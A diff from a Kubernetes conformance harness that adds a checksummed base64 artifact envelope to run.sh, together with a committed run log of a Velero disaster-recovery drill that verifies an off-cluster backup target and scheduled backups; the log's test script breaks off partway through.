+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -201,13 +217,107 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   # CONF_LEDGER exists so the harness's own tests can exercise this path without writing
   # to the real ledger; operators should never set it.
   "${PYTHON}" "${CONF_ROOT}/lib/record_run.py" \
-    --run-dir "${RUN_DIR}" --env "${CONF_ENV:-dev}" \
+    --run-dir "${RUN_DIR}" ${CONF_ENV:+--env "$CONF_ENV"} \
     --ledger "${CONF_LEDGER:-${CONF_ROOT}/runs/ledger.jsonl}" || true
   log "RECORD: run rc=${RUN_RC}. Commit conformance/runs/${RUN_ID}/ WITH its run.log and"
   log "RECORD: conformance/runs/ledger.jsonl — an uncommitted ledger proves nothing."
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -239,7 +349,7 @@ gen_status() {
     --registry "${CONF_ROOT}/requirements/registry.yaml" \
     --tests "${CONF_ROOT}/tests" \
     --out "${STATUS_OUT}" \
-    --env "${CONF_ENV:-dev}" \
+    ${CONF_ENV:+--env "$CONF_ENV"} \
     "$@"
 }
 

conformance/runs/20260914T021505Z-24b8111/report.junit.xml

@@ -0,0 +1,4 @@
+<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/dr-restore" tests="1" failures="0" errors="0" id="0" time="">
+    <testcase name="dr-restore" classname="" time="150.698290" />
+  </testsuite>
+</testsuites>

conformance/runs/20260914T021505Z-24b8111/run.log

@@ -0,0 +1,672 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-03').
+[run.sh] LIGHT pass: no tests selected.
+[run.sh] HEAVY pass: 1 test(s) SERIAL (parallel=1) — dr-restore
+Version: 0.2.12
+Loading config (/work/conformance/config/chainsaw-config.yaml)...
+- Using test file: chainsaw-test
+- TestDirs [/work/conformance/tests/l3-fault-injection/dr-restore]
+- SkipDelete false
+- FailFast false
+- ReportFormat 'JUNIT-TEST'
+- ReportName 'chainsaw-report-heavy'
+- ReportPath '/work/conformance/_artifacts'
+- Namespace ''
+- FullName false
+- IncludeTestRegex ''
+- ExcludeTestRegex ''
+- ApplyTimeout 1m30s
+- AssertTimeout 3m0s
+- CleanupTimeout 2m0s
+- DeleteTimeout 2m0s
+- ErrorTimeout 1m0s
+- ExecTimeout 3m0s
+- DeletionPropagationPolicy Background
+- Parallel 1
+- Template true
+- NoCluster false
+- PauseOnFailure false
+Loading tests...
+- dr-restore (/work/conformance/tests/l3-fault-injection/dr-restore)
+Loading values...
+Running tests...
+=== RUN   chainsaw
+=== PAUSE chainsaw
+=== CONT  chainsaw
+=== RUN   chainsaw/dr-restore
+=== PAUSE chainsaw/dr-restore
+=== CONT  chainsaw/dr-restore
+    l.go:52: | 02:15:05 | dr-restore | @chainsaw                                 | CREATE    | OK    | v1/Namespace @ chainsaw-glorious-sheep
+    l.go:52: | 02:15:05 | dr-restore | assert-backup-target-is-off-cluster       | TRY       | BEGIN |
+    l.go:52: | 02:15:05 | dr-restore | assert-backup-target-is-off-cluster       | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        
+        # ---- helpers -------------------------------------------------------
+        # Classify a kubectl failure: an RBAC denial is a HARNESS DEFECT and must
+        # fail loudly; an absent API is a genuine precondition gap and may skip.
+        die_or_skip() {
+          case "$2" in
+            *orbidden*|*Unauthorized*|*cannot\ list*|*cannot\ get*)
+              echo "FAIL: conformance runner lacks RBAC for $1 -- fix conformance/incluster/rbac.yaml" >&2
+              echo "$2" >&2
+              exit 1 ;;
+            *)
+              echo "SKIP: $1 not available on this cluster -- $2"
+              echo DR_RESTORE_SKIPPED_OK
+              exit 0 ;;
+          esac
+        }
+        
+        ip2int() {
+          _q="$(echo "$1" | tr '.' ' ')"
+          set -- $_q
+          [ $# -eq 4 ] || { echo -1; return 0; }
+          echo $(( ($1 * 16777216) + ($2 * 65536) + ($3 * 256) + $4 ))
+        }
+        
+        # in_cidr <ip> <a.b.c.d/len> -> 0 when the ip is inside the prefix
+        in_cidr() {
+          case "$2" in *"/"*) ;; *) return 1 ;; esac
+          _net="${2%/*}"; _len="${2#*/}"
+          case "$_len" in ''|*[!0-9]*) return 1 ;; esac
+          [ "$_len" -ge 0 ] && [ "$_len" -le 32 ] || return 1
+          _i="$(ip2int "$1")"; _n="$(ip2int "$_net")"
+          [ "$_i" -ge 0 ] && [ "$_n" -ge 0 ] || return 1
+          [ "$_len" -eq 0 ] && return 0
+          _d=1; _s=0
+          while [ "$_s" -lt $((32 - _len)) ]; do _d=$((_d * 2)); _s=$((_s + 1)); done
+          [ $(( _i / _d )) -eq $(( _n / _d )) ]
+        }
+        
+        # ---- Gate 1: the replicated storage tier the DR-critical data lives on --
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent -- no DR-critical data tier on this cluster yet"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        
+        # ---- Gate 2: the Velero API + a configured BackupStorageLocation --------
+        BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' \
+          2>&1)" || die_or_skip "velero.io/backupstoragelocations" "$BSL_LINES"
+        if [ -z "$(echo "$BSL_LINES" | tr -d '[:space:]')" ]; then
+          echo "SKIP: Velero API present but NO BackupStorageLocation is configured -- no off-cluster backup target yet"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        echo "backup storage locations:"
+        echo "$BSL_LINES"
+        
+        VNS="$(echo "$BSL_LINES" | head -1 | cut -d' ' -f1)"
+        
+        # ---- Gate 3: Velero server + node-agent (kopia FSB) actually ready -------
+        # File System Backup is the volume-DATA path (platform/velero/helmrelease.yaml:
+        # deployNodeAgent=true, uploaderType=kopia, snapshotsEnabled=false). Without a
+        # ready node-agent no volume data can be captured, so the drill is not runnable.
+        VREADY=0; NAREADY=0
+        for i in $(seq 1 12); do
+          VREADY="$(kubectl -n "$VNS" get deploy velero -o jsonpath='{.status.readyReplicas}' 2>/dev/null || true)"
+          NAREADY="$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || true)"
+          echo "poll $i: velero readyReplicas=${VREADY:-0} node-agent numberReady=${NAREADY:-0}"
+          if [ "${VREADY:-0}" -ge 1 ] && [ "${NAREADY:-0}" -ge 1 ]; then break; fi
+          sleep 10
+        done
+        if [ "${VREADY:-0}" -lt 1 ] || [ "${NAREADY:-0}" -lt 1 ]; then
+          echo "SKIP: Velero server and/or its node-agent DaemonSet are not ready in ns '$VNS' -- backup/restore path not available"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        
+        # ---- Pick the BSL this drill will use: prefer the default, and it MUST be
+        #      Available. A CONFIGURED-BUT-UNAVAILABLE target is NOT a precondition
+        #      gap -- it is a live R-STATE-03 defect, so it FAILS (after a bounded
+        #      wait for first-validation on a cold start), it does not skip. --------
+        BSL_NS=""; BSL_NAME=""; BSL_URL=""; BSL_BUCKET=""
+        for i in $(seq 1 12); do
+          BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+            -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' 2>/dev/null || true)"
+          CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true ' | head -1 || true)"
+          [ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
+          if [ -n "$CAND" ]; then
+            BSL_NS="$(echo "$CAND" | cut -d' ' -f1)"
+            BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
+            BSL_URL="$(echo "$CAND" | cut -d' ' -f6)"
+            BSL_BUCKET="$(echo "$CAND" | cut -d' ' -f7)"
+            break
+          fi
+          echo "poll $i: no Available BackupStorageLocation yet"
+          sleep 10
+        done
+        if [ -z "$BSL_NAME" ]; then
+          echo "FAIL: a BackupStorageLocation is configured but NONE reached phase 'Available'." >&2
+          echo "      The off-cluster backup target is unreachable -- R-STATE-03 is BROKEN, not merely untested." >&2
+          echo "$BSL_LINES" >&2
+          exit 1
+        fi
+        echo "using BSL ${BSL_NS}/${BSL_NAME}  bucket=${BSL_BUCKET}  endpoint=${BSL_URL}"
+        
+        # ---- OFF-CLUSTER PROOF (1): an endpoint we can evaluate ------------------
+        if [ -z "$BSL_URL" ]; then
+          echo "FAIL: BackupStorageLocation ${BSL_NS}/${BSL_NAME} exposes no spec.config.s3Url;" >&2
+          echo "      the OFF-CLUSTER property of the backup target cannot be established, so this" >&2
+          echo "      test refuses to claim it. (Extend this check for a non-S3 provider.)" >&2
+          exit 1
+        fi
+        HOST="${BSL_URL#*://}"      # strip scheme
+        HOST="${HOST%%/*}"          # strip path
+        HOST="${HOST%%:*}"          # strip port
+        echo "backup endpoint host: $HOST"
+        
+        case "$HOST" in
+          localhost|*.svc|*.svc.cluster.local|*.cluster.local)
+            echo "FAIL: backup endpoint '$HOST' is a CLUSTER-INTERNAL name -- the backup target is IN the cluster." >&2
+            echo "      An in-cluster backup store cannot satisfy R-STATE-03 (off-cluster backup)." >&2
+            exit 1 ;;
+        esac
+        
+        # Resolve to an IPv4 address. If it cannot be resolved we CANNOT establish the
+        # off-cluster property -- that is a failure, never a silent pass.
+        case "$HOST" in
+          *[!0-9.]*)
+            # Endpoint given as a name. Try the resolvers that may exist in the
+            # runner image, in order; if none is available or none resolves, the
+            # test FAILS below rather than guessing.
+            EPIP="$(getent ahostsv4 "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
+            [ -n "$EPIP" ] || EPIP="$(getent hosts "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
+            [ -n "$EPIP" ] || EPIP="$(nslookup "$HOST" 2>/dev/null | grep -A2 '^Name:' | grep '^Address' | head -1 | sed 's/.*: *//' || true)" ;;
+          *) EPIP="$HOST" ;;
+        esac
+        if [ -z "$EPIP" ]; then
+          echo "FAIL: could not resolve backup endpoint host '$HOST' to an IPv4 address;" >&2
+          echo "      the OFF-CLUSTER property cannot be asserted, so this test does not pass." >&2
+          exit 1
+        fi
+        echo "backup endpoint resolves to: $EPIP"
+        
+        # ---- OFF-CLUSTER PROOF (2): the endpoint is outside every cluster address --
+        case "$EPIP" in 127.*|0.0.0.0) echo "FAIL: backup endpoint $EPIP is loopback -- not off-cluster" >&2; exit 1 ;; esac
+        
+        NODE_IPS="$(kubectl get nodes -o jsonpath='{range .items[*]}{range .status.addresses[*]}{.address}{"\n"}{end}{end}' 2>/dev/null || true)"
+        for a in $NODE_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a NODE address of this cluster -- the backup is not off-cluster." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any node address (checked $(echo "$NODE_IPS" | grep -c . || true) node addresses)"
+        
+        SVC_IPS="$(kubectl get svc -A -o jsonpath='{range .items[*]}{.spec.clusterIP}{"\n"}{end}' 2>/dev/null || true)"
+        for a in $SVC_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a Service ClusterIP -- the backup target lives INSIDE the cluster." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any Service ClusterIP (checked $(echo "$SVC_IPS" | grep -c . || true))"
+        
+        POD_IPS="$(kubectl get pods -A -o jsonpath='{range .items[*]}{.status.podIP}{"\n"}{end}' 2>/dev/null || true)"
+        for a in $POD_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a POD IP -- the backup target is an in-cluster pod." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any Pod IP (checked $(echo "$POD_IPS" | grep -c . || true))"
+        
+        POD_CIDRS="$(kubectl get nodes -o jsonpath='{range .items[*]}{.spec.podCIDR}{"\n"}{range .spec.podCIDRs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
+        for c in $POD_CIDRS; do
+          case "$c" in *:*) continue ;; esac      # IPv6 prefixes are out of scope here
+          if in_cidr "$EPIP" "$c"; then
+            echo "FAIL: backup endpoint $EPIP falls inside node podCIDR $c -- it is in the cluster pod network." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is outside every node podCIDR (checked: $(echo "$POD_CIDRS" | tr '\n' ' '))"
+        
+        # Best-effort (needs networking.k8s.io/ServiceCIDR, which the least-privilege
+        # runner may not read): the checks above are the authoritative ones.
+        SVC_CIDRS="$(kubectl get servicecidrs.networking.k8s.io -o jsonpath='{range .items[*]}{range .spec.cidrs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
+        if [ -n "$SVC_CIDRS" ]; then
+          for c in $SVC_CIDRS; do
+            case "$c" in *:*) continue ;; esac
+            if in_cidr "$EPIP" "$c"; then
+              echo "FAIL: backup endpoint $EPIP falls inside the Service CIDR $c -- it is in the cluster." >&2
+              exit 1
+            fi
+          done
+          echo "endpoint is outside every ServiceCIDR ($(echo "$SVC_CIDRS" | tr '\n' ' '))"
+        else
+          echo "(ServiceCIDR objects unreadable -- skipping that best-effort check; ClusterIP/PodIP/podCIDR checks stand)"
+        fi
+        
+        echo "OFF_CLUSTER_TARGET_OK  bsl=${BSL_NS}/${BSL_NAME} endpoint=${EPIP} bucket=${BSL_BUCKET}"
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | SCRIPT    | LOG   |
+        === STDOUT
+        backup storage locations:
+        velero default Available aws true https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com k3s-prod-backup
+        poll 1: velero readyReplicas=1 node-agent numberReady=3
+        using BSL velero/default  bucket=k3s-prod-backup  endpoint=https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
+        backup endpoint host: 7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
+        backup endpoint resolves to: 172.64.66.1
+        endpoint is not any node address (checked 6 node addresses)
+        endpoint is not any Service ClusterIP (checked 82)
+        endpoint is not any Pod IP (checked 197)
+        endpoint is outside every node podCIDR (checked: 10.42.0.0/24 10.42.0.0/24 10.42.1.0/24 10.42.1.0/24 10.42.2.0/24 10.42.2.0/24 )
+        endpoint is outside every ServiceCIDR (10.43.0.0/16 )
+        OFF_CLUSTER_TARGET_OK  bsl=velero/default endpoint=172.64.66.1 bucket=k3s-prod-backup
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | SCRIPT    | DONE  |
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | TRY       | END   |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | TRY       | BEGIN |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        SCHED="$(kubectl get schedules.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" phase="}{.status.phase}{" cron="}{.spec.schedule}{" lastBackup="}{.status.lastBackup}{"\n"}{end}' 2>/dev/null || true)"
+        if [ -z "$(echo "$SCHED" | tr -d '[:space:]')" ]; then
+          # Distinguish "Velero absent" (skip, in lock-step with step 1) from
+          # "Velero present but nothing scheduled" (a real R-STATE-03 defect).
+          if kubectl get backupstoragelocations.velero.io -A >/dev/null 2>&1; then
+            if [ -z "$(kubectl get backupstoragelocations.velero.io -A -o name 2>/dev/null || true)" ]; then
+              echo "SKIP: no BackupStorageLocation configured -- scheduling not applicable yet"
+              echo DR_SCHEDULE_SKIPPED_OK
+              exit 0
+            fi
+            echo "FAIL: Velero is configured with a backup target but declares NO Schedule --" >&2
+            echo "      R-STATE-03 requires SCHEDULED off-cluster backups, not manual ones." >&2
+            exit 1
+          fi
+          echo "SKIP: Velero API absent -- backup scheduling not applicable on this cluster yet"
+          echo DR_SCHEDULE_SKIPPED_OK
+          exit 0
+        fi
+        echo "velero schedules:"
+        echo "$SCHED"
+        # A Schedule that exists but is paused/disabled backs nothing up.
+        if echo "$SCHED" | grep -q 'phase=Enabled'; then
+          echo BACKUPS_ARE_SCHEDULED_OK
+        else
+          echo "FAIL: no Velero Schedule is in phase 'Enabled' -- scheduled off-cluster backups are not running." >&2
+          exit 1
+        fi
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | SCRIPT    | LOG   |
+        === STDOUT
+        velero schedules:
+        velero/velero-daily phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T04:01:06Z
+        velero/velero-daily-resources-only phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T03:00:03Z
+        BACKUPS_ARE_SCHEDULED_OK
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | SCRIPT    | DONE  |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | TRY       | END   |
+    l.go:52: | 02:15:08 | dr-restore | data-restores-from-the-off-cluster-backup | TRY       | BEGIN |
+    l.go:52: | 02:15:08 | dr-restore | data-restores-from-the-off-cluster-backup | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        NS="$NAMESPACE"
+        SRC="${NS}-dr-src"          # scratch source namespace (destroyed by design)
+        DST="${NS}-dr-dst"          # clean restore target (must not pre-exist)
+        BK="${NS}-dr-backup"
+        RS="${NS}-dr-restore"
+        OWNER_LABEL="conformance.home.k3s/created-by=${NS}"
+        
+        # ---- Re-derive the preconditions (steps do not share shell state). Every
+        #      skip below mirrors step 1 exactly, so the whole test skips or runs
+        #      as a unit -- it can never half-run. -----------------------------
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent"; echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.default}{"\n"}{end}' 2>/dev/null || true)"
+        CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true$' | head -1 || true)"
+        [ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
+        if [ -z "$CAND" ]; then
+          echo "SKIP: no Available BackupStorageLocation (see the off-cluster step for the authoritative verdict)"
+          echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        VNS="$(echo "$CAND" | cut -d' ' -f1)"
+        BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
+        if [ "$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || echo 0)" -lt 1 ]; then
+          echo "SKIP: Velero node-agent (kopia FSB) not ready -- volume data cannot be backed up"
+          echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        echo "velero ns=$VNS bsl=$BSL_NAME src=$SRC dst=$DST"
+        
+        # A clean restore target means PREVIOUSLY NONEXISTENT, and the source name must
+        # be free. If either is lying around from an aborted run, remove it before we
+        # claim "clean" -- and fail loudly if it will not go, because a half-deleted
+        # namespace would silently invalidate the destroy proof below.
+        kubectl delete namespace "$DST" "$SRC" --ignore-not-found --wait=true --timeout=300s
+        
+        # ============================ GIVEN ==============================
+        # A DR-critical stateful workload with known data on the replicated tier.
+        CANARY="dr-canary-$(date +%s%N)"
+        kubectl create namespace "$SRC"
+        kubectl label namespace "$SRC" "$OWNER_LABEL" --overwrite
+        
+        kubectl -n "$SRC" apply -f - <<EOF
+        apiVersion: v1
+        kind: PersistentVolumeClaim
+        metadata:
+          name: dr-data
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          accessModes: [ReadWriteOnce]
+          storageClassName: longhorn
+          resources:
+            requests:
+              storage: 1Gi
+        EOF
+        
+        kubectl -n "$SRC" apply -f - <<EOF
+        apiVersion: v1
+        kind: Pod
+        metadata:
+          name: dr-workload
+          labels:
+            app: dr-workload
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          restartPolicy: Never
+          containers:
+            - name: app
+              image: busybox:1.36.1
+              command: ["sh", "-c", "sleep 7200"]
+              volumeMounts:
+                - name: data
+                  mountPath: /data
+          volumes:
+            - name: data
+              persistentVolumeClaim:
+                claimName: dr-data
+        EOF
+        
+        kubectl -n "$SRC" wait --for=condition=Ready pod/dr-workload --timeout=300s
+        printf '%s' "$CANARY" | kubectl -n "$SRC" exec -i dr-workload -- sh -c 'cat > /data/canary && sync'
+        echo "seeded canary: $(kubectl -n "$SRC" exec dr-workload -- cat /data/canary)"
+        
+        ORIG_PV="$(kubectl -n "$SRC" get pvc dr-data -o jsonpath='{.spec.volumeName}')"
+        [ -n "$ORIG_PV" ] || { echo "FAIL: source PVC never bound to a PV" >&2; exit 1; }
+        echo "original in-cluster PersistentVolume: $ORIG_PV"
+        
+        # ======================= WHEN (part 1): back up off-cluster =======
+        # Created as a Velero Backup CR -- exactly what `velero backup create` does.
+        # defaultVolumesToFsBackup:true selects the kopia File System Backup path, so
+        # the VOLUME DATA (not just the resource JSON) is uploaded to the object store.
+        # ttl is short: if the finally-step DeleteBackupRequest is ever lost, Velero's
+        # own GC still removes this drill's objects from the bucket.
+        kubectl apply -f - <<EOF
+        apiVersion: velero.io/v1
+        kind: Backup
+        metadata:
+          name: ${BK}
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          includedNamespaces: [${SRC}]
+          storageLocation: ${BSL_NAME}
+          snapshotVolumes: false
+          defaultVolumesToFsBackup: true
+          ttl: 2h0m0s
+        EOF
+        
+        BPHASE=""
+        for i in $(seq 1 90); do
+          BPHASE="$(kubectl -n "$VNS" get backups.velero.io "$BK" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
+          echo "poll $i: backup phase=${BPHASE:-<pending>}"
+          case "${BPHASE:-}" in
+            Completed|Failed|PartiallyFailed|FailedValidation) break ;;
+          esac
+          sleep 10
+        done
+        if [ "${BPHASE:-}" != "Completed" ]; then
+          echo "FAIL: off-cluster backup did not complete (phase=${BPHASE:-<timeout>})" >&2
+          kubectl -n "$VNS" get backups.velero.io "$BK" -o yaml >&2 || true
+          exit 1
+        fi
+        echo "backup $BK Completed to ${BSL_NAME}"
+        
+        # ---- OFF-CLUSTER PROOF (3): the VOLUME DATA really landed in the remote
+        #      kopia repository -- a PodVolumeBackup Completed with a snapshot ID.
+        PVB="$(kubectl -n "$VNS" get podvolumebackups.velero.io \
+                 -l velero.io/backup-name="$BK" \
+                 -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.status.phase}{" "}{.status.snapshotID}{"\n"}{end}' 2>/dev/null || true)"
+        echo "pod volume backups:"
+        echo "$PVB"
+        if [ -z "$(echo "$PVB" | tr -d '[:space:]')" ]; then
+          echo "FAIL: the backup captured NO pod volume data (no PodVolumeBackup)." >&2
+          echo "      Resource-only backups cannot restore DR-critical DATA." >&2
+          exit 1
+        fi
+        # A line is "<name> <phase> <snapshotID>"; require Completed AND a
+        # non-empty snapshot ID (an empty ID means nothing reached the repository).
